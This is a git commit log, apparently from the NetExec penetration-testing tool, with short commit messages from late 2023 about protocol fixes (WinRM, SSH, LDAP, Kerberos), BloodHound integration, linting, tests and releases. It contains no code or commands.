Alex 76836dcc9c Merge pull request #137 from fpreynaud/bugfix
Fix bug in WCC module
2023-12-08 01:08:12 +01:00
Alexander Neff 5c87c27f7e Fix ruff 2023-12-08 00:55:40 +01:00
Alexander Neff bc0ebf7169 Only surpress errors when using rdp not always 2023-12-07 22:09:03 +01:00
Alexander Neff 5daa3ecc7f Surpress any errors when using rdp and broken python version 2023-12-07 22:01:56 +01:00
François REYNAUD 313d795871 Fix bug introduced by commit bfd32f1910 2023-12-07 18:05:55 +01:00
Alexander Neff 796e49e86b Add exception handling 2023-12-04 16:15:27 +01:00
Alexander Neff da603def02 Fix issue #134 which occurs on windows 2023-12-04 16:07:56 +01:00
Alex 3a2b3938c6 Properly fix rdp and winrm 2023-12-01 16:08:46 +01:00
syzik 476e35c47c ldap modules 2023-11-30 22:42:17 +01:00
syzik fee9d24e64 ldap modules 2023-11-30 22:35:23 +01:00
Alex 549f428faf Fix dependencies for binary building 2023-11-30 19:20:41 +01:00
Alexander Neff 03b88843fa Updating dependencies for latest impacket changes and removing deprecated encodeerror check 2023-11-30 17:08:49 +01:00
Alexander Neff 4c7a9337b9 Fix missing aardwolf import in binary 2023-11-30 14:29:51 +01:00
Alexander Neff e3b0e4556e Rename pipelines 2023-11-30 07:34:54 -05:00
Alexander Neff be5ce876e3 Add pyvenv config to gitignore 2023-11-30 07:34:10 -05:00
XiaoliChan 88e229a325 Merge remote-tracking branch 'upstream/main' into winrm-better-output 2023-11-29 15:12:04 +08:00
Marshall Hallenbeck 388208d4ea Merge pull request #128 from termanix/AddNewLdapFlagActiveUsers
Add New Ldap Flag --active-users
2023-11-28 11:49:55 -05:00
termanix d29bb7cf18 Update ldap.py
Try to fix Ruff error

Signed-off-by: termanix <[email protected]>
2023-11-28 19:00:44 +03:00
termanix 5ca86fc1d7 Add New Ldap Flag Listing Active Domain Users 2023-11-28 13:40:57 +03:00
XiaoliChan bbbb61a5e1 Merge remote-tracking branch 'upstream/main' into winrm-better-output 2023-11-28 14:25:54 +08:00
Marshall Hallenbeck 7fa783a09d Merge branch 'main' into nxcdb-marshall 2023-11-25 22:46:08 -05:00
Marshall Hallenbeck a6be6c1b07 Merge pull request #121 from Pennyw0rth/ms17-010-error-handling
Ms17 010 error handling
2023-11-25 22:45:29 -05:00
Alexander Neff b59246da68 Replace old WS_PATH variable 2023-11-24 19:59:58 -05:00
Alexander Neff e48a02d7d8 Switch command line short form to match syntax 2023-11-24 19:58:49 -05:00
Alexander Neff 7c3e9a22da Cli command now lists all workspaces and changed workspaces output to match git style 2023-11-24 19:55:16 -05:00
Alexander Neff f08b58de8a Add cli option to get current workspace 2023-11-24 19:42:24 -05:00
Marshall Hallenbeck e02fabc6b4 ruff: remove unused import 2023-11-17 22:56:32 -05:00
Marshall Hallenbeck d0c996fc05 feat(nxcdb): add functionality to create and set workspaces without entering interactive console 2023-11-17 22:51:43 -05:00
Marshall Hallenbeck 861626d061 refactor: deduplicate code and simplify initial db setup 2023-11-17 21:24:03 -05:00
Marshall Hallenbeck b4f3bacb99 refactor(nxcdb): move shared fdatabase functions to single file 2023-11-17 16:55:57 -05:00
XiaoliChan 3eb421ef2a Merge branch 'main' into winrm-better-output 2023-11-16 16:29:30 +08:00
Marshall Hallenbeck 29b22b56c7 Merge branch 'main' into ms17-010-error-handling 2023-11-14 10:49:58 -05:00
Marshall Hallenbeck 246cc6c0f2 Merge pull request #120 from Pennyw0rth/e2e_tests_marshall
tests: improve output of e2e tests for errors
2023-11-14 10:49:41 -05:00
Marshall Hallenbeck 9b619b86aa Revert "fix(smb errors): getErrorString only returns one item, not a tuple; fixes #117"
This reverts commit 1784d55bae.
2023-11-13 13:42:45 -05:00
Marshall Hallenbeck 761cf715d0 fix(ms17-010): better error handling to catch invalid SMB responses wduring check 2023-11-13 12:47:28 -05:00
Marshall Hallenbeck 1784d55bae fix(smb errors): getErrorString only returns one item, not a tuple; fixes #117 2023-11-13 12:34:45 -05:00
Marshall Hallenbeck c6b8905406 tests: improve output of e2e tests for errors by not coloring the entire output red and printing command before running 2023-11-13 12:17:04 -05:00
Marshall Hallenbeck fd5d37eb13 Merge branch 'main' into winrm-better-output 2023-11-13 10:17:52 -05:00
Marshall Hallenbeck 8879ccc52b Merge pull request #118 from Pennyw0rth/develop
Merge v1.1.0 develop into main
2023-11-13 10:10:07 -05:00
Marshall Hallenbeck c499d92c70 Merge pull request #116 from Pennyw0rth/netexec-v1.1.0
Netexec v1.1.0
2023-11-12 17:28:21 -05:00
Alexander Neff 346b0b447a Fix Xioali link 2023-11-12 23:27:31 +01:00
Alexander Neff 6bf7bd4481 Add Xiaoli to Readme 2023-11-12 23:22:28 +01:00
Alexander Neff 983d06d1f0 Bump version to v1.1.0 2023-11-12 23:19:09 +01:00
Marshall Hallenbeck 54eb620b1d Merge pull request #115 from Pennyw0rth/neff-bugfixes
Adding error handling for unexpected powershell output, see issue #93
2023-11-12 17:14:52 -05:00
Alexander Neff 862aef7ec6 Properly use f-string 2023-11-12 23:14:04 +01:00
Marshall Hallenbeck c9c676a03b Merge branch 'develop' into neff-bugfixes 2023-11-12 17:10:19 -05:00
Alexander Neff 57e31aef07 Extract laps_search from smb and winrm to /protocols/ldap/laps 2023-11-11 17:31:37 -05:00
Alexander Neff 75190da24a Adding error handling for unexpected powershell output, see issue #93 2023-11-11 17:13:41 -05:00
XiaoliChan 76f23d422d [winrm] better output
Signed-off-by: XiaoliChan <[email protected]>
2023-11-11 21:20:00 +08:00
Alex 426e446eb7 Merge pull request #106 from nikaiw/develop
disable use of ssh_agent
2023-11-10 07:31:27 -05:00
Alex a440a83a2e Merge pull request #113 from XiaoliChan/ssh-fix
[ssh] fix #112
2023-11-10 07:26:59 -05:00
XiaoliChan bbad2c90e5 Merge remote-tracking branch 'upstream/develop' into ssh-fix 2023-11-10 13:58:01 +08:00
XiaoliChan 82b2f1e3d5 [ssh] fix #112
Signed-off-by: XiaoliChan <[email protected]>
2023-11-10 13:50:08 +08:00
Marshall Hallenbeck 5b21585a9f Merge pull request #109 from Pennyw0rth/neff-small-improvements
Improve module texts
2023-11-09 15:42:41 -05:00
Marshall Hallenbeck 4a7d7f2074 Merge branch 'develop' into neff-small-improvements 2023-11-09 15:42:07 -05:00
Alex 9550c0533a Fix grammar 2023-11-09 21:34:59 +01:00
Marshall Hallenbeck 7a4246aa99 Merge pull request #111 from Pennyw0rth/issues/104
Fix Kerberoasting for #104
2023-11-09 15:18:09 -05:00
Marshall Hallenbeck 3333bf9449 revert(kerberoasting): go back to defining output file after --kerberoast and remove --output-file param 2023-11-09 14:00:49 -05:00
Marshall Hallenbeck 2c4be2ebe2 fix(kerberoasting): fixed kerberoasting; added output-file option, removed unnecessary param for --kerberoasting; fixed kcache checking 2023-11-09 13:37:49 -05:00
Marshall Hallenbeck 26b9ecc482 fix(kerberos): only use kcache if asked to via cml parameters; add additional debug and error handling 2023-11-09 12:51:09 -05:00
Marshall Hallenbeck f1388aa429 fix(kerberos): check if there is the KRB5CCNAME before referencing it 2023-11-09 12:27:02 -05:00
Marshall Hallenbeck f46ba02a31 kerberoasting/asreproasting: just take in -- command, does not require useless param anymore 2023-11-09 12:05:20 -05:00
Marshall Hallenbeck 49d4441b0f Merge pull request #107 from XiaoliChan/winrm-missport
[winrm] disable logger & add miss port args
2023-11-08 22:54:59 -05:00
Marshall Hallenbeck ad2744269d Merge pull request #108 from Pennyw0rth/issues/101
Fix: update MS17-010 for Python3 properly; add debug logging
2023-11-08 22:54:09 -05:00
Alexander Neff d561bd01ec Make module description more precise 2023-11-08 21:22:35 +01:00
Alexander Neff 4dd3e4803d Improve module option text 2023-11-08 21:19:26 +01:00
Marshall Hallenbeck 364513a203 fix(ms17-010): move functions to NXCModule for context.log to properly display output 2023-11-08 13:32:09 -05:00
Marshall Hallenbeck 092eb0c5a1 fix(ms17-010): ms17-010 works now, and has a lot more debugging info if wanted 2023-11-08 13:21:25 -05:00
Xiaoli Chan fef8028b13 [winrm] disable logger & add miss port args
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-08 21:00:14 +08:00
NK 8cd85def45 disable use of ssh_agent in paramiko, first fix for #105 2023-11-08 00:55:34 +01:00
Alex e07b3e45ba Merge pull request #72 from XiaoliChan/winrm-improv
[winrm] Improvement
2023-11-07 14:42:03 -05:00
Xiaoli Chan 17a032ff00 [winrm] Add e2e and improve tips
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 12:32:18 +08:00
Xiaoli Chan 20faa3c7f6 [winrm] e to string
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 12:27:30 +08:00
Xiaoli Chan 67b6acb30a [winrm] Add comment about dos attack
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 12:23:52 +08:00
Xiaoli Chan 3d2f3e1f8c [winrm] args info
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 03:50:16 +08:00
Xiaoli Chan c69583f49f [winrm] improve sam & lsa dump
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 03:45:58 +08:00
Xiaoli Chan 2247bb5f31 [winrm] use 'cmd /c' when command running in powershell
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 02:07:53 +08:00
Xiaoli Chan e6934000b4 [winrm] ruff
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 02:04:15 +08:00
Xiaoli Chan 957b15aaef [winrm] try catch in sam & lsa
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 01:55:10 +08:00
Xiaoli Chan 7b10dcefd4 [winrm] revert args to old one
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-07 01:36:28 +08:00
Xiaoli Chan 79dfbba09b [winrm] mpgn: local-auth review
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 22:20:32 +08:00
Xiaoli Chan 06cbb35158 [winrm] ugly if condition
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 13:48:28 +08:00
Xiaoli Chan 9bbab6b47d [winrm] clean
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 04:09:56 +08:00
Xiaoli Chan 415cd1afa0 [winrm] Fix local auth
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 04:08:57 +08:00
Xiaoli Chan 112c172403 [winrm] ruff
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 03:35:42 +08:00
Xiaoli Chan 2b4ea74922 [winrm] fix mpgn test issues
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 03:32:06 +08:00
Xiaoli Chan d80abb4be9 [winrm] improve enum
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 03:24:35 +08:00
Xiaoli Chan 234987b97e [winrm] improve logger
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 02:26:25 +08:00
Xiaoli Chan 8059a6b159 [winrm] self review
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 02:12:12 +08:00
Xiaoli Chan 892a411ea3 [winrm] more make sense
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 02:07:06 +08:00
Xiaoli Chan e85fe3c4f2 [winrm] marshall review
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 02:03:20 +08:00
Xiaoli Chan e1a4da1cea [winrm] ruff
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 01:53:04 +08:00
Xiaoli Chan 6e562cdfa6 [winrm] ruff
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 01:50:37 +08:00
Xiaoli Chan 9b475c32ed [winrm] marshall review
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 01:45:25 +08:00
Xiaoli Chan c38deee8d8 [winrm] conflict fix
Signed-off-by: Xiaoli Chan <[email protected]>
2023-11-06 01:04:17 +08:00
Marshall Hallenbeck 470b4e88cc Merge pull request #90 from Pennyw0rth/neff-bh-pc
Set computer accounts as owned in bloodhound if local admin privs
2023-11-04 16:40:05 -04:00
XiaoliChan ffa2d8918d [winrm] clean up
Signed-off-by: XiaoliChan <[email protected]>
2023-11-04 23:28:33 +08:00
XiaoliChan 2bf2c30e01 [winrm] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-11-04 23:19:52 +08:00
XiaoliChan 40f30af119 [winrm] controversial: revert kerberos implement
Signed-off-by: XiaoliChan <[email protected]>
2023-11-04 23:13:27 +08:00
XiaoliChan 88f7ab3a6f Merge remote-tracking branch 'upstream/develop' into winrm-improv 2023-11-04 22:55:30 +08:00
Alexander Neff 96ad5721f5 Functionalyze bloodhound connector, improve handling bloodhound connection without a domain 2023-11-03 20:24:43 -04:00
Alexander Neff d5631cfa60 Move logging output above adding user to bloodhound 2023-11-03 20:23:15 -04:00
Alexander Neff 4f7264312f Merge branch 'develop' into neff-bh-pc 2023-11-03 17:25:45 -04:00
Alex e046a67775 Merge pull request #88 from Pennyw0rth/neff-neo4j
Improve bloodhound connector with Netbios domain name
2023-11-03 17:16:49 -04:00
Alexander Neff 3b466a3c9e Merge branch 'develop' into neff-neo4j 2023-11-03 16:58:01 -04:00
Marshall Hallenbeck 1156bd4655 Merge branch 'develop' into winrm-improv 2023-11-03 14:14:38 -04:00
Marshall Hallenbeck 9fc67da64e Merge pull request #63 from XiaoliChan/connection-miss-port
[connection.py] Improvement
2023-11-03 14:14:25 -04:00
Marshall Hallenbeck b4bd5d6c83 Merge branch 'develop' into connection-miss-port 2023-11-03 12:31:09 -04:00
zblurx 5e247be9d5 Merge pull request #50 from Pennyw0rth/s4u
Implement s4u abuse
2023-11-03 12:16:29 +01:00
zblurx 2c1f30a276 fix ruff alerts 2023-11-01 19:47:38 +01:00
zblurx 4853942fee Merge branch 'develop' into s4u
Signed-off-by: zblurx <[email protected]>
2023-11-01 19:18:25 +01:00
XiaoliChan 3f91715d31 [winrm] marshall: review I
Signed-off-by: XiaoliChan <[email protected]>
2023-11-01 13:44:32 +08:00
XiaoliChan 74a33e27b0 Merge remote-tracking branch 'upstream/develop' into connection-miss-port 2023-11-01 13:10:29 +08:00
Alexander Neff 47eed50292 Autoformat and fixing some line breaks 2023-10-31 16:48:23 -04:00
Alexander Neff e20ed5c97e Fix small typo in github bug report template 2023-10-31 16:38:24 -04:00
Marshall Hallenbeck 47e062493e Merge branch 'develop' into winrm-improv
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-31 13:18:11 -04:00
Marshall Hallenbeck be540f2d87 Merge pull request #97 from shresthasurav/patch1
fix typos in python files of directory `nxc/modules`
2023-10-31 11:28:05 -04:00
Marshall Hallenbeck 6d962107b9 Merge branch 'develop' into patch1
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-31 11:27:25 -04:00
Marshall Hallenbeck 6e589018c6 Merge pull request #98 from Pennyw0rth/neff-bugfixes
Fix import error on windows
2023-10-31 11:18:01 -04:00
XiaoliChan 470d861cf7 [winrm] aeskey support
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 22:26:12 +08:00
Alexander Neff 03f3155835 Fix arg hasattr delegate check 2023-10-31 10:24:15 -04:00
XiaoliChan ddb7cf2065 [connection.py] update logger
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 21:45:12 +08:00
XiaoliChan e2bc4bdd97 [winrm] platform check when doing kerberos auth
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 21:43:36 +08:00
Alex 079c224f17 Fix import error on windows 2023-10-31 14:29:15 +01:00
Surav Shrestha 671afcc039 fix typos in nxc/modules/user_desc.py 2023-10-31 17:20:29 +05:45
Surav Shrestha 6386231e4f fix typos in nxc/modules/teams_localdb.py 2023-10-31 17:20:29 +05:45
Surav Shrestha e993b205d0 fix typos in nxc/modules/schtask_as.py 2023-10-31 17:20:29 +05:45
Surav Shrestha 568cf72860 fix typos in nxc/modules/scan-network.py 2023-10-31 17:20:29 +05:45
Surav Shrestha 2bcb04fcd3 fix typos in nxc/modules/ldap-checker.py 2023-10-31 17:17:26 +05:45
Surav Shrestha 9fa09da8a9 fix typos in nxc/modules/keepass_trigger.py 2023-10-31 17:17:26 +05:45
Surav Shrestha b8476fce4f fix typos in nxc/modules/example_module.py 2023-10-31 17:17:26 +05:45
Surav Shrestha f3e032c4e5 fix typos in nxc/modules/daclread.py 2023-10-31 17:17:26 +05:45
XiaoliChan 9fbe8d5bec [winrm] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 16:25:21 +08:00
XiaoliChan 9c5f7d6488 [workflow] update dependency for lint.yml
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 16:19:35 +08:00
XiaoliChan 788a2e838d [workflow] update dependency for lint.yml
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 16:18:22 +08:00
XiaoliChan 380eef4901 [winrm] update dependency for kerberos login & ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 16:11:25 +08:00
XiaoliChan 6f8186479a [winrm] format import
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 15:56:50 +08:00
XiaoliChan 312c3d7b68 [winrm] kerberos login implement
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 15:55:08 +08:00
Marshall Hallenbeck 4128515a96 Merge branch 'develop' into connection-miss-port
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-30 22:34:25 -04:00
Marshall Hallenbeck ddd9bcce72 Merge branch 'develop' into neff-bh-pc
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-30 22:31:16 -04:00
Marshall Hallenbeck 9f81653a6e Merge branch 'develop' into winrm-improv
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-30 22:29:41 -04:00
Alex 80c2f13440 Merge branch 'develop' into neff-neo4j 2023-10-30 14:08:27 -04:00
Alex 9736bd2d10 Merge pull request #94 from ayushrakesh/patch-1 2023-10-30 14:07:55 -04:00
ayushrakesh 9322c2425d Update README.md
Signed-off-by: ayushrakesh <[email protected]>
2023-10-30 23:26:58 +05:30
Alex a08458e478 Merge branch 'develop' into neff-neo4j
Signed-off-by: Alex <[email protected]>
2023-10-30 13:39:50 -04:00
Alexander Neff 00f08c608b Fix single quote 2023-10-30 13:38:10 -04:00
Alex be33efc1ab Merge pull request #89 from Pennyw0rth/neff-py-version 2023-10-30 13:35:25 -04:00
Alexander Neff 4840ea0cd3 Changed to f-string, swapped single quote to double quotes 2023-10-30 10:38:52 -04:00
XiaoliChan 58f6b3715f [winrm.py] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-10-29 19:36:16 +08:00
XiaoliChan f18c279a1c [connection.py] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-10-29 19:15:56 +08:00
XiaoliChan aeb2a62e1e [winrm] repush commit
Signed-off-by: XiaoliChan <[email protected]>
2023-10-29 19:12:06 +08:00
XiaoliChan 406f6934b0 [connection.py] Add line break
Signed-off-by: XiaoliChan <[email protected]>
2023-10-29 18:57:36 +08:00
XiaoliChan b162a07e56 [PR 63] conflict solved
Signed-off-by: XiaoliChan <[email protected]>
2023-10-29 18:53:29 +08:00
Marshall Hallenbeck b60bef6106 Merge branch 'develop' into neff-bh-pc
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-29 01:11:51 -04:00
Marshall Hallenbeck 23caad854e Merge branch 'develop' into neff-py-version
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-29 01:11:47 -04:00
Marshall Hallenbeck 4b2535d8b4 Merge branch 'develop' into neff-neo4j
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-29 01:11:25 -04:00
Marshall Hallenbeck dee5e288b3 Merge pull request #35 from Pennyw0rth/marshall_cleanup
Cleanup & Lint Code
2023-10-29 01:11:09 -04:00
Alex 72500d99be Simplify code and remove unnecessary return nones 2023-10-28 01:04:52 +02:00
Marshall Hallenbeck 9387891dc1 fix comments without space after hash 2023-10-26 19:58:36 -04:00
Marshall Hallenbeck dcdff05b59 fix and add more debug statements for winrm 2023-10-26 19:57:14 -04:00
Marshall Hallenbeck 0bdbdc7eab fix(tests): add second parameter for ftp put location 2023-10-26 19:10:58 -04:00
Marshall Hallenbeck ce1d2a0814 ruff: linting stuff (some was from my conflict resolution I messed up) 2023-10-26 18:26:44 -04:00
Marshall Hallenbeck 71d39f25ef ruff: autofix 2023-10-26 18:22:47 -04:00
Marshall Hallenbeck 84431baca7 readd pyreadline to poetry.lock 2023-10-26 18:20:40 -04:00
Marshall Hallenbeck dc5ef93f7c Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-26 18:10:05 -04:00
Alexander Neff b2c63d569a Change back formating for readability 2023-10-26 21:34:36 +02:00
Alexander Neff db8368e6fb Change back formating for readability 2023-10-26 21:22:50 +02:00
Alexander Neff afe4cd7570 Change back formating for readability 2023-10-26 21:13:34 +02:00
Alexander Neff a416cec4bb Convert one-liner into multi-liner for readability 2023-10-26 21:03:49 +02:00
Alexander Neff c2d6eadd26 Extract base64 script from python code 2023-10-26 20:34:55 +02:00
Alexander Neff d1db71dfae Fix multi-line log message 2023-10-26 20:25:13 +02:00
Alex b21a1eb09f Merge pull request #86 from Pennyw0rth/neff-fix-color 2023-10-26 11:10:52 +02:00
Alex 9691b671fc Merge branch 'develop' into neff-fix-color 2023-10-26 10:35:33 +02:00
Alexander Neff cdf089fba8 Fix format of config list 2023-10-24 22:48:12 +02:00
Alexander Neff 34c9c33a4b Extract base64 code to file 2023-10-24 22:43:14 +02:00
Alexander Neff 2595fab10f Format cli.py 2023-10-24 22:16:45 +02:00
sandw1ch c6e5fdb205 use fstring, delete testing comment
Signed-off-by: sandw1ch <[email protected]>
2023-10-24 13:00:22 -05:00
XiaoliChan 96ba933e12 [connection.py] less line
Signed-off-by: XiaoliChan <[email protected]>
2023-10-24 00:31:45 +08:00
XiaoliChan a037ac9f4a [connection.py] less if condition
Signed-off-by: XiaoliChan <[email protected]>
2023-10-24 00:23:51 +08:00
XiaoliChan 6ac9f7f0a5 [connection.py] IPv4 preferred
Signed-off-by: XiaoliChan <[email protected]>
2023-10-23 23:49:12 +08:00
Alexander Neff e4f1558b5a Add computer accounts to bloodhound if local admin on host 2023-10-23 11:20:47 -04:00
Alex 8d32b5642d Update lint.yml 2023-10-23 11:53:15 +02:00
Alex 96f4d2e686 Cache python dependencies in lint.yml 2023-10-23 10:51:58 +02:00
XiaoliChan 9cf88eb71c [ssh] conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2023-10-23 11:17:42 +08:00
Alex 4dd9be2049 Merge pull request #87 from Pennyw0rth/fix-73 2023-10-23 00:24:53 +02:00
Alex a790c85857 Merge pull request #25 from XiaoliChan/ssh-improv 2023-10-23 00:23:04 +02:00
Alexander Neff 2998c571a6 Add debug output to get OS and Python version 2023-10-22 13:05:06 -04:00
Alexander Neff a04f08db4b Improve bloodhound connector when adding users and using the NETBIOS name from the domain 2023-10-22 11:38:45 -04:00
Alexander Neff 6a5ba76578 Merge remote-tracking branch 'refs/remotes/xioali_nxc/ssh-improv' into ssh-improv 2023-10-22 07:37:11 -04:00
Alexander Neff 92f9c8c51e Improve ssh key file output 2023-10-22 07:32:11 -04:00
XiaoliChan 4153b80643 Merge remote-tracking branch 'upstream/develop' into ssh-improv 2023-10-22 19:11:08 +08:00
XiaoliChan 0a2a5df789 Merge remote-tracking branch 'upstream/develop' into connection-miss-port 2023-10-22 19:09:59 +08:00
Marshall Hallenbeck 884c606998 Merge pull request #74 from Pennyw0rth/neff-module-sort
Add module sorting
2023-10-22 00:08:59 -04:00
Marshall Hallenbeck be0247cd06 Merge branch 'develop' into neff-module-sort 2023-10-22 00:08:43 -04:00
Marshall Hallenbeck e9313c63c3 Merge pull request #40 from RomanRII/main
Enhancing the FTP protocol
2023-10-22 00:08:15 -04:00
Marshall Hallenbeck a41b582ef7 Merge branch 'develop' into main 2023-10-21 23:50:24 -04:00
Marshall Hallenbeck 9e6cef13d1 remove unnecessary import 2023-10-21 23:47:47 -04:00
Marshall Hallenbeck e9eccba193 refactor: remove Python shebangs since they are not needed 2023-10-21 23:45:16 -04:00
Marshall Hallenbeck b31b3b70ba fix: remove loading http server for #35 2023-10-21 23:44:53 -04:00
Marshall Hallenbeck aa696051ed remove http server; fixes #21 2023-10-21 23:43:13 -04:00
Marshall Hallenbeck 2681244c3b fix(dependencies): add bloodhound to netexec.spec, fixes #79 2023-10-21 23:15:22 -04:00
Marshall Hallenbeck 41ec0b18f0 Merge branch 'develop' into marshall_cleanup 2023-10-21 19:26:02 -04:00
Marshall Hallenbeck 8ecdcebf4d fix redundant lines 2023-10-21 19:24:31 -04:00
Marshall Hallenbeck 33a8dfc109 remove redundant log call 2023-10-21 19:20:08 -04:00
Marshall Hallenbeck 3ce70c71b6 fix arbitrary newlining 2023-10-21 19:16:54 -04:00
Marshall Hallenbeck e9dd72e1c1 remove python env specification 2023-10-21 19:13:26 -04:00
Marshall Hallenbeck ac4c2f4168 remove 'exploit' term from MS17-010 since its a check, not an exploit 2023-10-21 19:11:41 -04:00
Marshall Hallenbeck c523d9679b convert string concat to fstring 2023-10-21 19:10:06 -04:00
Marshall Hallenbeck 7eef62ed78 fix: undo newlining 2023-10-21 19:00:16 -04:00
Marshall Hallenbeck 92ddea1ffb fix: remove unnecessary newlining 2023-10-21 18:59:33 -04:00
zblurx b4ccc5a08c remove single quotes 2023-10-21 18:47:01 +02:00
Alexander Neff 838585f8b2 Downgrade termcolor to prevent atty check which disables colors 2023-10-21 12:36:19 -04:00
XiaoliChan 425e83c4c4 [ssh] disable look_for_keys in paramiko
Signed-off-by: XiaoliChan <[email protected]>
2023-10-21 23:38:06 +08:00
XiaoliChan 35cdf414b7 [ssh] Neff review II
Signed-off-by: XiaoliChan <[email protected]>
2023-10-21 23:13:47 +08:00
Alexander Neff 6a5f76b939 Remove all files created on the target 2023-10-21 07:08:36 -04:00
zblurx 8521d6bf0c Merge branch 's4u' of github.com:Pennyw0rth/NetExec into s4u 2023-10-21 12:44:40 +02:00
zblurx 187828a2b8 fix camelcase and logger import 2023-10-21 12:42:28 +02:00
XiaoliChan 4e1ff89683 Merge remote-tracking branch 'upstream/develop' into ssh-improv 2023-10-21 11:04:26 +08:00
Marshall Hallenbeck 216e96a804 Merge branch 'develop' into connection-miss-port 2023-10-20 21:44:57 -04:00
Marshall Hallenbeck 4b4a39b459 Merge branch 'develop' into neff-module-sort 2023-10-20 21:35:36 -04:00
Marshall Hallenbeck 1aab4c97c3 Merge pull request #83 from mishrasamiksha/develop
Update README.md
2023-10-20 21:30:42 -04:00
Marshall Hallenbeck a68265bb13 feat(tests): allow running specific proto tests via --protocols 2023-10-20 15:02:37 -04:00
Samiksha Mishra 1560c2d761 Update README.md
Typo error fix from "contributers" to "contributors"

Signed-off-by: Samiksha Mishra <[email protected]>
2023-10-20 20:17:21 +05:30
XiaoliChan fa7c5945ef [ssh] Marshall review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-20 15:59:58 +08:00
XiaoliChan 78ed508066 [ssh] Marshall review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-20 15:56:39 +08:00
Marshall Hallenbeck 90ede7ff1e Merge branch 'develop' into ssh-improv 2023-10-19 21:38:43 -04:00
Marshall Hallenbeck fd6e0c5839 Merge branch 'develop' into connection-miss-port 2023-10-19 20:57:45 -04:00
Marshall Hallenbeck 506d5b8f40 Merge branch 'develop' into s4u 2023-10-19 20:37:44 -04:00
Marshall Hallenbeck b86a60190b Merge branch 'develop' into main 2023-10-19 20:31:31 -04:00
mpgn 5e282156bb Fix ldap query over 1000 results 2023-10-19 15:30:00 -04:00
Alex 809b4bb799 Merge pull request #80 from Pennyw0rth/mpgn 2023-10-19 11:29:03 +02:00
zblurx 99bba69a72 Merge branch 'develop' into s4u 2023-10-19 11:09:44 +02:00
zblurx 8ea441595c cleanup 2023-10-19 11:07:50 +02:00
XiaoliChan 8f36ad2b1b [connection.py] remove ugly space
Signed-off-by: XiaoliChan <[email protected]>
2023-10-19 11:00:56 +08:00
XiaoliChan d19aca3c05 [connection.py] Neff review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-19 10:35:29 +08:00
XiaoliChan bf7cfb66c2 Merge remote-tracking branch 'upstream/develop' into connection-miss-port 2023-10-19 10:25:36 +08:00
Alexander Neff a09934b8f9 Adding mpgn 2023-10-19 00:34:55 +02:00
Alexander Neff 6385cce49a Formating, ruff linting and removal of unused code 2023-10-18 22:56:23 +02:00
Marshall Hallenbeck fc0bbc545d Merge branch 'develop' into main 2023-10-18 14:05:35 -04:00
Marshall Hallenbeck 30c474cbd6 refactor(tests): move --options above the module run for each module 2023-10-18 14:02:32 -04:00
Marshall Hallenbeck 41fac78df4 tests: add iis and pi module tests 2023-10-18 13:57:33 -04:00
Marshall Hallenbeck e153790d76 tests: add add-computer to e2e tests 2023-10-18 13:51:40 -04:00
Marshall Hallenbeck 085868c551 fix(tests): some modules have a PASSWORD and may have a USERNAME param, so update the login string variable 2023-10-18 13:51:15 -04:00
Marshall Hallenbeck dbbffc5952 fix(add-computer): set proper permission on open user request and exit if the computer account is already created 2023-10-18 13:44:01 -04:00
Marshall Hallenbeck 0376a005e3 ruff: add in --preview flag for linting in GitHub runner 2023-10-18 13:02:57 -04:00
Marshall Hallenbeck b9497d37aa Revert "Merge branch 'develop' into marshall_cleanup"
This reverts commit ce73f684c1, reversing
changes made to f87eeffc41.
2023-10-18 12:15:21 -04:00
Marshall Hallenbeck ce73f684c1 Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-18 12:10:25 -04:00
Marshall Hallenbeck f87eeffc41 move imports back to conditional and add comment 2023-10-18 12:08:46 -04:00
XiaoliChan 113b98060c [ssh] Neff review: args condition
Signed-off-by: XiaoliChan <[email protected]>
2023-10-18 22:40:37 +08:00
